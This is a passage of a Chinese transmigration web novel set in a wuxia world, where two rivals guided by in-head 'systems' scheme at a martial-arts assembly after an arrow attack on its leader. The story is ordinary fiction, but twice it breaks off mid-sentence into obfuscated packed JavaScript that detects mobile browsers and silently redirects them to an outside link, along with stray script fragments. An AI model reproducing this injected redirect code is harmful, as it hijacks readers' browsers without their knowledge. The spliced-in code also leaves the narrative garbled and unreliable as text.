她的声音那样轻,话落,就只剩他们交缠的呼吸声。谢之栩的手僵在原地,他低头看向身前的温衔玉,他们分明离得那样近,却没能感染对方身上一丝一毫的温度,目之所及,只有她冰冷含恨的目光。 喉中似乎有血腥味弥漫开来,谢之栩闭了闭眼,压下心中钝痛,继续低头解着桎梏,口中不断喃喃自语,是连他自己都没意识到的乞求。 “阿七,我这次真的没有骗你……你跟我走,我一定会让你活下来……” “这次不是的……你再信我一次,最后一次……” …… 他的声音越来越低,直至锁链啪嗒一声砸在地上,谢之栩才终于松了口气,紧接着,他对上了那道讽刺的目光。 “阿七……”他麻木地张了张口,苍白的唇扯出一丝笑,“你信我好不好,我保证这次没有骗你,你跟我走好不好?” 信他?他们之间还有分毫的信任可言吗? 温衔玉眨眨眼,冰冷的手慢慢捧上面前之人的脸,声音轻柔:“谢之栩,你就这么想让我活下去吗?” 她仰起头,扯出一个自嘲的笑,鲜红的血迹挂在唇边,皓齿森然,谢之栩垂首看去,一对柔软雪白的手臂主动勾住他的脖颈,温热的唇擦过他的耳边,轻轻呼着气,用只有他们两人能听见的声音在他耳边低语。 “谢之栩,可我不想信你了,我只想让你去死。”温衔玉一字一句认真道,“只有你死了,我才算活着。” “只有你死了!我才算活着!” 活着…… 活下去…… 要他去死…… 她要他,去死? 刻骨的恨意一瞬间在耳中回荡开,面前的景象扭曲在一起,谢之栩瞬间只觉头像裂开了一样疼,目之所及处,一切都在扭曲变换,只有那双幽深的眼静静看着他,满是痛苦决绝。 “不、不对、你不能用这样的眼神看我,等一等!再等一等!!” 惊呼声出口,谢之栩猛地睁眼,胸腔中仍旧残留着剧烈的跳动,盯着头上的床帐愣怔许久,呼吸才渐渐平稳下来。 外面传来打更的声响,哐当一声巨响,铜锣的声音回荡开,睡意尽散。 “系统!赶紧滚出来!” 谢之栩烦躁地揉了揉眉心,不多时,脑海中便传来了一个懒洋洋的声音。 “啧,好大的火气啊,宿主,您啥事儿不能明早说啊,这大晚上的,你不睡别人还得睡呢,你不能让人996啊,这不地道。” “少废话,当初你占据我的身体时怎么没见你这么多理由。” “哎呦哟,宿主,你好凶啊,让我猜猜,又梦见前世的景象了?”系统懒散的声音传来,“要我说啊,宿主你就该努努力,多做几个任务,用积分换个孟婆散吃得了,这带着记忆重走一遭啊,最是痛苦。更何况,这份痛苦只有你自己一个人承受,人家温七娘子可记不得。” “我说过了,不让你叫她温七,她叫温衔玉。”谢之栩冷声开口,系统瞬间沉默下来,半晌,又无所谓地发声,“随便啦,一个称呼而已,您让我叫什么我就叫什么吧,不过说真的,温七,温衔玉这两个称呼又有什么区别呢,不都是一个人吗?” “这不一样。”谢之栩低声道,系统无聊地叹了口气,“行吧,随便你,谁让你是我的宿主呢,说吧宿主,大半夜的找我是什么事?” “给我寻找下一个任务。” “您赶进度?”系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322907|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑吟吟的声音传来,谢之栩微微垂眼,长睫落下一片阴翳,声音寒凉刺骨,“没错,我要加快进度,不是你承诺的吗,只要我的任务进度条满格,就可以满足我的一切要求。” “当然,您想完成任务,我求之不得。”系统微笑道,发出提示音,“滴滴,系统任务——请帮助男女主相遇,并让二人获得长期接触的机会,以便培养感情。” “任务限制时长——五天。” “任务难度指数——四星。” “奖励积分——150。” “另外提示。”系统音响起,“鉴于宿主之前直接刺杀任务对象,造成严重违规,此次任务额外提示,不许造成书中重要角色伤亡,尊重主角光环的存在,合理进行任务,维护本书剧情。” “现在,任务启动,倒计时正式开始,滴——” 尖锐刺耳的系统提示音结束,笑呵呵的声音再次响起,“宿主,这次的任务怎么样?” “恶心至极。”谢之栩毫不留情地开口,忍着厌恶去思考刚才系统的话,“男女主……那不就是虞松雪,慕无忘这二人?呵,还真是阴魂不散的脏东西。” “……宿主,要不您还是先做点小任务,买一瓶孟婆散吧。”系统小心提示道,“作为拥有记忆的反派,您的记忆真的很影响您做任务啊。” “切,我才不要什么孟婆散,有记忆多好啊,有记忆我才能记住他们每个人的嘴脸。”谢之栩冷笑了一声,慢悠悠地品评道,“都忘了,那该多无趣啊。” “可是……这真的很影响您做任务时的情绪啊……”系统礼貌发声,“鉴于您上次的刺杀行为,我对您的任务执行秉持怀疑的态度。” “放心,你不是说了吗,他们有主角光环,我不能直接杀了他们。”谢之栩遗憾似地叹了口气。 “行、行吧……”系统嗫嚅片刻,还是不放心道,“那我再最后叮嘱您一句话。” “切记,重来一世,改过自新,积德行善,做个好人!” 6. 各怀鬼胎 “滴滴滴,系统提示您,距离任务结束时间,还有——三天。” “三天了,三天了!宿主!就剩三天了!” “没完成任务会受到惩罚的,啊啊啊啊!宿主,咱们得自救啊!” 嘈杂的声音再次徘徊在耳边,温衔玉揉了揉眉心,徐徐开口,不轻不重地叹了一句。 “滚——” “……你好暴躁,真讨厌。” “快滚。”温衔玉咬牙,“不然立刻跟你同归于尽。” 脑海中的声音顿时戛然而止,四周瞬间清静下来,连带着外面的叫嚣声都变得清晰起来。手边的茶逐渐凉了下来,温衔玉面无表情地睁开眼,目光落在门外的人影上。 “主子。”月兰的声音在门外响起,“八少爷在门外跪两个时辰了,他说他……他说他要不行了。” “才跪了两个时辰就不行了,他是纸扎的?”温衔玉不紧不慢地轻笑了声,外面立刻传来男子的怒骂声,“你他娘的才是纸扎的!温七,我劝你赶紧让你这两个狗奴才放开我,不然阿爹知道了,有你好看的” “温明远。”温衔玉撂下茶杯,起身走到门口,推开门,“你拿阿爹来压我?” “嘁,谁不知道阿爹现在最看重我。”被压着跪在院中的男子傲慢地抬起头,“怎么说,我将来也是要过继到主母膝下的,算是你温七的亲弟弟,将来你若嫁去谢家,在谢之栩哪儿受了委屈,还不是要回来求我帮忙。温七,我劝你现在对我好些,省着到时候连娘家都没得回。” “好一个亲弟弟。”温衔玉踱步至温明远面前,微微抬首,示意月兰和红香放开架着温明远的木棍。 木棍甫一松开,温明远松了口气,揉着自己的肩膀晃荡着站起身,刚要夸赞温衔玉识时务,便觉掌风凌冽,迎面而来一巴掌。 啪得一声脆响,脸上的掌印清晰可见,半边脸火辣辣地疼,肉眼可见的浮肿起来。 “你……温七……你,你!” “不是亲弟弟吗?我教育亲弟弟,难道不对?” 温衔玉慢条斯理地拍了拍手上的灰,温明远的牙咬得咯咯直响,通红着眼睛瞪着温衔玉,迈步又要往上冲,月兰和红香还没来得及阻拦,就先温衔玉面色阴沉地扬起手,又是一记清脆的耳光,直接将温明远扇地瘫倒在地,一边伸手捂住自己流血的唇角,一边颤抖地指着温衔玉,半天才憋出一个颤颤巍巍的你字。 “我什么我?”温衔玉的目光暗下来,她向来懒得和蠢人说话,偏偏她家别的不多,就蠢人多,扶不上墙的烂泥都觉得自己能光宗耀祖。 “温明远。”温衔玉蹲下身,满意地看着温明远下意识向后躲的姿态,“你要明白,我打死你,像打死一只老鼠一样简单。” “七……七姐,我姓温,我也是温家人,你……你不能打死我,不然……不然阿爹会生气的,他……他不会放过你的!列……列祖列宗也会生气的。更何况……更何况阿爹之前和我说了……” 温明远咽了咽口水,讨好道,“他说,只要我此次能取得成绩,就把我算作主母膝下,姐姐……好姐姐,你不能打死我啊,我……我将来可是你名义上的亲弟弟,我……我能帮姐姐的啊!” “帮我?”温衔玉饶有兴趣地歪了歪头,温明远慌忙点头,“对对对,只要姐姐愿意助我,我若……我若继承家主之位,将来这温家就是我与姐姐的天下。” “几年不见,你倒是比之前会说话了些。”温衔玉垂眸俯视着温明远,刚向他的方向探出手去,就见温明远迅速惊恐地向后蹭了几步,心有余悸地看向她,僵持良久,温衔玉不耐地皱了皱眉,狠狠踢了他膝盖一脚,“滚起来。” “是……是,姐姐。” “既然你识时务,我当然会帮你。只是……”温衔玉顿了顿,慢悠悠道,“你要都听我的,我怎么说,你怎么做。” “那是当然。”温明远忙躬身点头,温衔玉挑了挑眉,轻声开口,“八弟,你也知道,这次来温家来英豪大会的只有你我两人,你我的一切举动关乎温家的名声,无论你我之前如何,在外人面前总该相亲相爱,兄友弟恭,才不让人看笑话。” “七姐说得是。”温明远扯着僵硬的笑脸慌忙点头。 “后天英豪大会就要开幕了,届时魏敬山哪怕是真病重,也一定会现身,你先回去准备吧,等后天大会结束,我带你去拜访他。” “全听姐姐安排!”温明远俯身作楫,赶忙退下,留下月兰面露担忧地望着他的背景,等他完全消失,才犹疑地看向温衔玉,“主子真觉得八少爷是真心信服咱们吗?虽然他一口一个姐姐叫得好听,但奴婢还是觉得谨慎些好,毕竟八少爷这些年暗中也给咱们使了不少绊子……” “你瞧瞧,连你都知道他是个阴沟里的老鼠,他还偏要跟我装个人。”温衔玉嗤笑一声,眸光渐渐暗下来,“以我对温明远的了解,他现在想的,可不是我要听嫡姐的话,而是——” “这个蠢女人,等我利用完她,一定要她不得好死!” 蓬山的雨一连下了两日,等到英豪大会开幕之时,竟也算天公作美。 半山之内,晴空万里,人声鼎沸,数十丈高的红绸从半空落下,锣鼓鞭炮齐鸣。 粗略一看,世家门派可达百家之上,面孔或生或熟,神色姿态各异,却皆面带敬仰地望着面前架着的高台。 “今日,诸位英豪齐聚在此,是我魏氏山庄之幸,容我魏敬山,先敬诸位!” 话落,方圆百里内应和声山呼海啸般响起,数不清的手臂高高举起,手中的瓷碗内盛着半碗烈酒。 “敬盟主!” 浑厚的回应声中,温衔玉擦干嘴边的酒渍,眯眼看向挤在最前面的温明远。 “主子。”红香的声音在耳边轻轻响起,“昨夜我们已经检查了老爷让送给魏盟主的珍宝,里面大部分都是些金银珠宝,古董字画。” “阿爹倒是舍得给他花钱,不过可惜都是些俗物,那魏敬山未必会看得上。”温衔玉轻呵一声,红香欲言又止,“倒也不全是俗物,有一件,还需知会您一声,我们在压箱底的地方,发现了一柄剑。” “那剑柄处刻着极细微的一行字。” “——扪心” 红香声落,温衔玉肉眼可见地一僵,回首,不敢置信地看向红香。 “你是说,扪心剑?” 红香抿了抿唇,低声道:“正是。” 温家以剑法起家,后以铸剑术闻名于整个江南,其家族内有三千剑冢,埋在世间断剑千万,亦有传世之剑葬于冢中,名为扪心,是温家先祖之剑,有威震八方之势,只可惜传说此剑认主,若非认定的主人,旁人拿到犹如废铁。 “好一个扪心剑!这可是百年难得一遇的好剑,居然用来给温明远铺路!”温衔玉深吸一口气,闭了闭眼,“我记得,我当年求了 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“就算是他想对……”温衔玉话未说完,只觉后方一侧风声凛冽,不等回头,只见一支穿云箭擦着众人头顶而过,掠过魏敬山的脸,瞬间穿过其身后侍卫的脖颈! 血淋淋的尸首霎时掉落在地,咕噜噜地滚了半圈,余下一双死不瞑目的眼睛直直盯着魏敬山,血水静静漫过脚下。 沉默,死一般地沉默。 众人脸上的笑意尚未散去,在头颅触碰到魏敬山鞋尖的那一瞬,惊叫声霎时炸起,刺耳的兵刃摩擦声不绝于耳,众人皆回首看向箭射来的方向。 幽深,空荡,只有沙沙的树叶声。 “哪里来的歹人!还不快快现身!” “装模作样的算什么东西!还不赶快出来!” …… 耳边喊话声不断,温衔玉从震惊之中回过神来,抬眼看向魏敬山。他那原本就不多的血色已经尽数褪去,苍白着一张脸站在原地,浑浊的眼睛死死看向穿云箭来的方向,脸侧的血丝不断向外渗。 任何人都看得出,这箭的目标绝不是刚刚死的那个侍卫,而是魏敬山。只不过这箭似乎没想一下直接杀了他,而是给他个警示。 堂堂正道盟盟主,号称掌管整个江南剑道,在自家山庄举办的盛会和这么多世家门派面前被威胁,真是无论怎么想,都是丢人至极。 且丢人事小,若是丢了命…… 魏敬山暗自咽了咽口水,对上台下众人的目光,勉强笑了笑。 “诸位不必惊慌……” “主子。”红香也缓过了神,想起温衔玉刚才的话被打断,轻声问道,“您刚才说什么?” “我说,就算阿爹真想对账……”温衔玉盯着魏敬山若有所思,冷冷一笑,“我也不会给他这个机会了。” “那这份礼您要怎么送?” “除了扪心剑,都送过去。”温衔玉慢慢道,“我要为我的八弟,铺上一条好路。” “是,奴婢这就去清点。”红香点头,悄悄退下,留下温衔玉盯着魏敬山打量半晌,刚一移开目光,就看见了不远处的谢家人。 谢家显然也很重视此次大会,谢家主站在魏敬山的不远处,脸色亦是奇差无比,他身侧站着的女眷孩子更是惊叫成一团。 只有一个人,站在谢家的最后,没什么表情地看着魏敬山,甚至懒散地偷偷打了个哈欠,在察觉到她的目光后,那人止住动作,缓缓转过头来,手中折扇一开,故作惊恐地对她眨了眨眼。 7. 出师未捷 没心没肺的人果然到什么时候都没个正经。 温衔玉腹诽一句,侧身走过人群,躲避开谢之栩不加掩饰的视线。 若她猜得不错,魏敬山被这样折损颜面,庆典结束必然会命人在山庄内大肆搜查,着手调查此事,此刻正是他们温家上前为他排忧解难的好时机。 庆典经此刺杀一事,不多时便提前结束,魏敬山交代了句英豪大会的对决场次与对手会在下午抽签决定后便被人簇拥着护送回去。 魏敬山一走,众人忍了许久的话总于有了倾诉的余地,不消片刻便都三三两两的凑在一起,对着方才刺杀之事议论纷纷。 “姐姐。”温明远不知从哪儿吃了瘪,肿着一张脸灰溜溜地回到温衔玉身边,刚要开口告状,就对上温衔玉冷冰冰的一双眼,“你又上哪儿惹事去了?你是打算顶着这张猪头似的脸去见魏敬山?” “姐姐,冤枉啊姐姐!”温明远连连摇头,忙摆手道,“姐姐你是有所不知啊,方才小弟不过是去林子里面解手,谁想到还没等走过去,就被人从后面套上了麻袋,狠狠打了一顿!” “不是你招惹在先?”温衔玉质疑道,温明远慌忙摇头,踢了脚后面同样被打肿的小厮,“福贵儿,你快跟七姐说说,小爷我说得是不是实话。” “是……是……”福贵儿捂着脸上前,忍着痛道,“启禀七小姐,额,七……七少爷,我家主子说得句句属实,绝无虚言。” “和你主子一个窝囊样。”温衔玉蹙眉道,“你们俩看见打你们的人了吗?” “看见了一点。”温明远为难地咧了咧嘴角,“从那个麻袋的缝里隐隐约约看见那人好像是穿了红衣,但是姐姐你放心,我听见那人的声音了,等再遇见那人,我绝对能认出他来,胆敢打温家的人,我看他是不想活了!” “他想不想活我不感兴趣,倒是你,”温衔玉抬眼盯着温明远,“一会儿我带你去见魏敬山,该说什么,不该说什么你心里清楚,若是连这点小事都做不好,那就是你不想活了。” “知、知道了。”温明远悄悄洗了口气,伸手擦了擦额角伸出的冷汗。温衔玉的狠毒他是见识过的,这些年温家没少替魏敬山做事,虽说都是些处理些为非作歹的江湖帮派,也算是行侠义之事,但这剿灭过程也需与各方势力周旋算计,杀人放火更是不在话下。 这些年,这些事大多由温衔玉替温守业去做,若非如此,温守业也不会让温衔玉以女子之身占据温家一席之地。 温明远忍气吞声地跟在温衔玉身后,目光笔直地落在面前之人纤细的背影上,这么多年过去了,他至今依然记得当初他仗势欺人惯了,鬼迷心窍地听了书童的话,故意在温衔玉外出时派人教训了她一顿,事后不过几日,他便在一日梦醒后,于自己的耳边发现了书童血淋淋的舌头。 思及至此,温明远眼中的怨恨更甚,那温衔玉不过大他几月,也敢跟他摆嫡姐的架子,等他当上家主,他一定要把温衔玉的那段舌头也割下来,她不是很善于嘲讽他吗?他要把那截舌头挂在床头,看看它还能不能发出那悦耳又嘲弄的声音。 行至魏氏府前,温衔玉上前同门外的小厮低语几句,小厮听后谨慎地看了看四周,随后快步向府内跑去,不多时,气喘吁吁地跑出来,躬身引着几人进去。 进了堂前,几人头上是四四方方的天井,天光洒落,院中偶有鸟鸣,放眼望去,四周枝桠上挂着的纯金鸟笼里皆是些名贵种类,魏敬山见了几人,微微抬手,擦拭鸟笼的下人门便都垂首退去。 “云州温家——温七,见过魏盟主。” “哎呦,好侄女何必多礼。”魏敬山的脸色依旧憔悴地可怕,目光在温衔玉的发冠上停留一瞬,下一刻便笑出声来,“瞧瞧我,老糊涂了,忘了道上得称你声温七爷,到了我这儿,该是贤侄才对。” “盟主说笑了,不过若说起贤侄,我今日还真是要为您引荐一位。”温衔玉笑了笑,回首扫了温明远一眼,温明远立刻上前。 “此子名为温明远,家中排行老八,虽年纪不大,其心智能力却远超前面的兄弟们,明远久仰魏盟主大名,故而温七特带他来见见世面,还望盟主不要介意。” “言重了,言重了,贤侄引荐的人,我自然是要见一见的。”魏敬山说着,缓步从阶上走下,浑浊锐利的目光落在温明远身上仔细打量着。 他跟温守业联络这么多年,自然知道温家并无嫡子之事,温衔玉纵然再强,也不可能继承温家家主之位,如今突然给他引荐这么个少年,其心思自然不必多说,若是他想得不错,这少年多半是温守业属意的家主人选。 温衔玉的目光冷冰冰地投来,温明远忐忑之余迫使自己大着胆子,对着魏敬山扯了扯嘴角,朗声道,“温家温明远,见过魏盟主!” “好孩子,好孩子。”魏敬山连连点头,温明远松了口气,又笑道,“明远早在听闻盟主大人英明神武,如今亲眼所见,果真如此,若明远他日能学得盟主半分英姿,便是不枉此生了!” “哈哈哈,过誉了,过誉了,守业有你们这些孩子啊,可真是莫大的幸事,不像我啊,孤苦伶仃一个人,连个说话的都没有。” “盟主言重了,这盟内的世家门派,江南的数百剑道,谁不把盟主当父亲一样敬重,哪怕是我——”温明远跪下,仰首道,“亦是将盟主视为亚父,只盼他日若能挑起重担 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脑海中的声音落了片刻,温衔玉无暇顾及脑中声音,只抬眼盯着魏敬山,见魏敬山盯着箱内珠宝愣怔一瞬,苍白的脸上被珠光宝气感染出几分红晕,随后,似有而无地瞟了眼立在阶旁的黑衣小厮。 那小厮长得干瘦,一直站在台阶旁,倒也不惹人注意,只在着宝箱打开时匆匆瞥了一眼,便又悄悄垂下头去。 可偏偏魏敬山向他瞥了一眼。 温衔玉默不作声地打量了那人几眼,随后又看向魏敬山,见魏敬山故作思忖片刻,微微点了点头,感叹道,“能得子如此,是魏某之幸啊!” “盟主!”温明远眼睛瞬间一亮,朗声大喊道,“义父在上!” “明远见过义父!” 耳边声音刚落,温衔玉尚未从这一声震耳的惊叫声中缓过神来,脑海中突然响起另一重惊叫。 “啊啊啊啊啊啊啊啊!活祖宗啊!你都做了什么啊!” “剑呢?剑呢!那柄剑呢!任务是让你把东西完整的送到魏敬山手中啊!完整!是完整啊!你有认真听吗!” “祖宗啊!你知不知道你这叫私吞公款啊!你知不知道私吞公款是很严重的啊!啊啊啊啊!毁灭吧!” 脑中的声音犹如发疯版响起,温衔玉按捺不住地晃了晃脑袋,刚要低声怒骂,就听脑中嘈杂的声音静了一瞬,随后响起冰冷的声音。 “系统错判!系统错判!宿主并未完成任务,且破坏任务道具。” “系统判决,积分清零,作为惩罚,扣除50积分,以示警戒。” “现清算积分,积分显示——负50。” “……那个……”贱兮兮的声音重新响起,“宿主,你知道什么叫出师未捷身先死吗?” 8. 逆天改命 温衔玉冷哼一声,懒得说话,脑海中的声音尴尬一瞬,继续不依不饶。温衔玉被它吵得心烦,又碍于魏敬山和温明远在场,不易轻举妄动,只能向一侧悄悄退了几步,耐着性子听脑海中的声音絮絮叨叨的埋怨。 “宿主,您得争气啊!您这么做,咱们猴年马月才能攒够积分,拉满进度条啊!”那声音忿忿不平地叫嚣起来,见温衔玉完全没有理会自己,又唉声叹气地服了个软。 “算了,反正第一个任务已经失败了,我还是指望您上点心,完成一下第二个任务吧。”系统说着,冰冷的提示音再次响起来。 “滴滴,系统任务——请帮助本书女主脱离困境并与男主相识。” “任务限制时长——三天。” “任务难度指数——三星。” “奖励积分——100。” “任务将在三秒后正式启动,三、二、一、滴——” 漫长的提示音消失,温衔玉一直紧皱的眉头终于松开半分,系统的声音重新回来,见她没有半分波动的神情,心顿时凉了一半。 “您就不能有点干劲儿?”系统哼哼唧唧地抱怨着,温衔玉这次倒是难得的有耐心,既没有训斥它,也没有让它滚,反而像是在真的思考些什么。 虽说她一直不喜欢脑中这个名叫系统的东西干扰着她的行动,但温衔玉倒也不至于完全忽视它的存在。前些日子里的那场死亡之梦让她心有余悸,利箭穿心的感觉并不好受,要是这鬼东西说的话都是真的,她作为一本书里的恶毒女配,按照一般话本子里的剧情,最后一定是被主角就地正法的。 那要是她提前找到主角,再把他们都杀了,岂不是再无后顾之忧! 温衔玉扬了扬唇,低声问道:“你不告诉我男女主叫什么,我怎么完成任务?” “啊,这好说!宿主您稍等!我找找。”系统说着,沉寂了一会儿,片刻,磕磕巴巴地开口,“那个……宿主……查是可以查的……但是吧……” “怎么?”温衔玉声音一冷,系统视死如归道,“但提示显示本书为付费书籍,如想试读,请到商城用积分兑换金币……” “宿主。”系统呲牙苦笑道,“咱们现在的积分是负50。” “……所以你让我完成任务,连目标对象是谁都没办法告诉我,是吗?” 系统尴尬地咧了咧嘴,温衔玉顿时觉得自己被滑稽笑了。 “废物,真是不知道你有什么用处。” “宿主,你这么说很伤人诶。”系统扭捏道,“人家虽然不知道男女主的名字,不能帮你看书里的内容,但是人家可以给你看书名嘛。” “……” 算了,司马当成活马医吧。 温衔玉深吸一口气:“说。” “叫《松雪传》”系统呲牙,“嘻嘻,一听就是大女主文,我估计女主肯定叫什么松雪。宿主,这次的任务您可把握好机会啊!” “行了,我知道了,这儿没你什么事了。” “嘁,过河拆桥。”系统说着,声音逐渐远去,温衔玉顿觉脑中一片清静,重新看回魏敬山和温明远二人。 魏敬山留了二人一同用膳,席间将寻找刺客之事交托给了温衔玉,温衔玉对此倒也不意外,这些年温家帮魏敬山做了太多事,而这些事又有很大一部分是温衔玉完成的,眼下魏敬山刚被刺杀,自然对身边之人多加提防,温家有心讨好,温衔玉又有能力,自然是最好的人选。 吃过饭后,也快到了下午去奉天台抽签的时间,魏敬山既答应了温家的要求,自然会对温明远所抽的签做个把关,虽说这事直接安排下去也可以,但他这人做事妥帖,起码面子上一定让人挑不出理,于是一同起身,打算去奉天台帮他这个义子瞧瞧。 奉天台下早早聚满了人,一二楼处坐着看戏的绝佳位置早被些世家门派占据,余下的江湖散客便只能堵在楼阁的门口处,探头探脑地往里看。 温衔玉几人托了魏敬山的福,在二楼占了个不错的席位,放眼看去,正对着众人要去抽签的奉天台。 下面喧哗声一片,温衔玉没等落座,便觉得眼睛被对面的金光一闪,尚未看清,就听耳边传来温明远毫无形象的大喝。 “是他!就是他!不会有错的!”温明远指着对面一楼的方向大喊,“七姐!就是他偷袭我的!肯定是他!他居然敢偷袭温家的人!你一定要帮八弟我报仇啊!给他点颜色看看!” 他? 温衔玉眨了眨被晃到了的眼,眯眼向下看去,正看见谢之栩的指尖掠过耳上的金坠,那金坠一动一摇,影影绰绰。 谢家也算是和温家一样的名门大族,与温守业娶了数个女子为生儿子不同,谢家主的女人不多,除却大房夫人,余下几房都是些小门小户的女子,其中最为特殊的就是这谢家三郎的娘云音娘子。 这女人据说是个异族女子,早些年被卖到江南一带,因其容貌太过,美艳至极,让谢家主为其一掷千金,后纳为妾室,诞下第三子谢之栩。 虽说在江南待了许多年,这位云音娘子的习性却依旧没变,连带着这位谢三郎的习性作风也多少带了些异域的风情,比如身上爱挂饰品这一点,看着实在招摇。 温明远还在一旁喋喋不休地指着谢之栩骂,温衔玉虽不喜谢之栩,但也知道温明远也不是什么好东西,狗咬狗的事儿,她才懒得管。 眼见着温衔玉不理会自己,温明远咽不下这口气地又去找魏敬山。 “义父!您瞧瞧那人!远儿的脸就是刚才被那人暗算的!”温明远说着,同魏敬山指着谢之栩。 “他?”魏敬山一愣,眯眼道,“远儿确定?” “那是肯定!他就是化成灰,我都能认出来!在场的,就他一个穿得跟接亲的似的。”温明远骂着,拽住魏敬山的袖子,“义父,请您帮我教训他!” “哎,他爹要是不在这儿,义父自然会帮你,只可惜他们谢家这次都来了,卖着他爹的面子,义父也不便出手。”魏敬山摇摇头,温明远蹙眉道,“他爹?” “是啊,谢家家主谢衡也算是我的旧识了。”魏敬山道,“你指的那个人,是他的三儿子,谢之栩。” “谢之栩?!怪不得觉得有点眼熟。”温明远惊诧了一瞬,随即看热闹似地瞥了眼温衔玉,又移回目光,不屑着道,“几年不见,他如今竟是这般模样,倒还真是……真是和以前不大一样了……” “这孩子是继承了他母亲祸国殃民的长相,但似乎也继承了那风流浪荡的作风。”魏敬山感慨道,目光落在谢之栩身上,看着那人左拥右抱地倚坐在红漆木椅上,身边美婢环绕,一边挑眉戏谑的看着抽签的人,一边百无聊赖地等着婢女喂葡萄。 “这谢三郎还真是够风流的。”温明远顺势望去,心里的气顿时消了一半,没什么比温衔玉出丑更让他痛快的了,一想到温衔玉将来要嫁给谢之栩这样的人,别说是挨一顿揍了,就是挨十顿揍他都能乐出来。 温明远想着,偷偷向温衔玉的方向看去,果真见她面色不虞地望着谢之栩的方向,一双漆黑的瞳子冷得像深夜里的寒潭。 “不过话说回来……”一旁的魏敬山沉吟片刻开口,“这位谢三郎来此,是打算参加英豪大会?我怎么隐约记得……他右手的经脉似乎是被废了,很难提起剑了。” “好像是有这么回事,不过我也不确定。”温明远似乎思索片刻,故意转头看向温衔玉,“要不义父,咱们还是问问我七姐?要真说起我这位准姐夫,那肯定是我温七姐姐最了解。” “温七姐姐?” “我不知道。”温衔玉冷哼一声,转身要走,刚走两步,便控制不住地顿住脚步,听身后温明远轻笑一声,同魏敬山道,“行吧,七姐不记得了,那我就只能道听途说地和义父讲了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322910|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温明远道:“我记得当初他那只手是被我姑母废掉的,他那阿娘的性子软得跟什么似的,他的性子倒是倔,据说好像因为什么事打了我表哥,我姑姑作为谢家主母,怎么能容忍他一个兔崽子目无尊卑,欺辱嫡兄……” 温明远一边说着,一边似有而无地向温衔玉的方向瞟去,看她的背影绷得笔直,垂在身侧的手紧攥成拳,几乎是快步跑了楼,不由得笑得更加欢。 那声音分明越来越小,在温衔玉耳边却越来越清晰。当年难堪的场面再次浮现在眼前,让她忍不住想要逃离人群,逃离掉有谢家和温家人在的一切地方。 局促的呼吸在穿过人群时一遍遍的重新调整,直至下到一楼,温衔玉深吸一口气,重新仰起头看向面前的奉天台。 “好像要到谢家人抽签了!” “谢家这次来了几个人啊?我刚刚好像看到他们大公子了!” “我还看见三公子了!” “哪个是啊?” “那个!对着咱们这边笑的那个!” …… 四周的杂乱的声音像潮水一样涌来,温衔玉被包裹在其中,不知道为什么,只觉得人越多越让她窒息,这种被包围的,透不过气的感觉让她莫名的熟悉和不安,下意识地想要逃离。 “温衔玉?温衔玉!”男子的声音在面前响起,温衔玉恍惚地回过神来,慢慢抬起头,正对上一双调侃地看向她的眼睛。 “怎么了?看见什么了脸色差成这样?”谢之栩扯着嘴角笑道,“别是瞧见我身边的美女一个赛一个的水灵,你心里不爽快了吧。” “少自作多情,你怎么样跟我有什么关系,除非你死在外面,”温衔玉歪了歪头,“那样我心里倒能为你生出点感情。” “什么感情?”谢之栩饶有兴趣地逼近一步,温衔玉仰面一笑,恶狠狠道,“痛快!” “哈哈哈哈!温衔玉,那你这辈子是痛快不了了。”谢之栩似笑非笑地直起身,回头看向身后一直盯着他们的谢家众人,又转过身看向温衔玉,慢慢道,“行了,我这人呐,可听不得夫人说我坏话,我还是去抽签吧。” 说罢,谢之栩抬了抬眼,目光迅速扫过台上抽签的众人,忽而视线一顿,快步越过面前的谢家兄弟,飞身跃上高台,一把摁下正在抽签的男子的手。 众目睽睽之下,谢之栩摇了摇扇子,笑吟吟道:“这位公子,我瞧着你这面相有福气,想来手气也不错,能不能劳烦你把现在抽中的这个给我,而后自己再抽一次呢?” “你!”那男子一冷,察觉到握住自己手腕的手在暗中发力,心中微微一紧。他本就是无门无派的小卒,哪敢得罪谢家的人,跟何况如今还没公布对决名单,换了抽签结果也没有任何影响。 四周已隐隐有了议论声,只是众人早听闻谢家三郎行事荒唐,倒也议论不出个一二,只有谢夫人悄悄扯了扯谢家主的袖子,谢家主见状冷哼一声,回首责怪地看了眼一侧满脸惊慌的异域美妇。 “晏儿……”妇人小声嗫嚅一句,再次看向谢之栩的方向,见他对面之人犹豫半晌,而后脸上堆笑道,“能被谢三郎信任,是鄙人的荣幸。” 话落,男子抬手送上签,谢之栩满意地扬了扬眉,抬手碰去。 一片低低的非议声中,温衔玉拧眉盯着谢之栩,觉得自己还是低估了这人无耻的程度。 但谢之栩就算再无耻,倒也不至于莫名其妙的去抢别人的签,除非这签有什么特别之处,比如和温明远一样的,是提前做好手脚的签。 温衔玉的眼睛一眨不眨地盯着,突然看见谢之栩在握住签的一瞬,像被惊到了一般的,迅速松开手。 木牌啪嗒一声掉落在地。 方才还急于握住他的谢之栩僵直地站在原地,面色煞白,冷汗直流。 趁着无人发觉,他紧咬着牙关,颤抖地在衣摆上蹭了蹭被灼伤的手。 9. 人贱合一 “滴滴滴,系统提示您,任务期间,请尊重原著剧情。” “若您强行违反规则,我们将再次对您执行系统惩罚。” 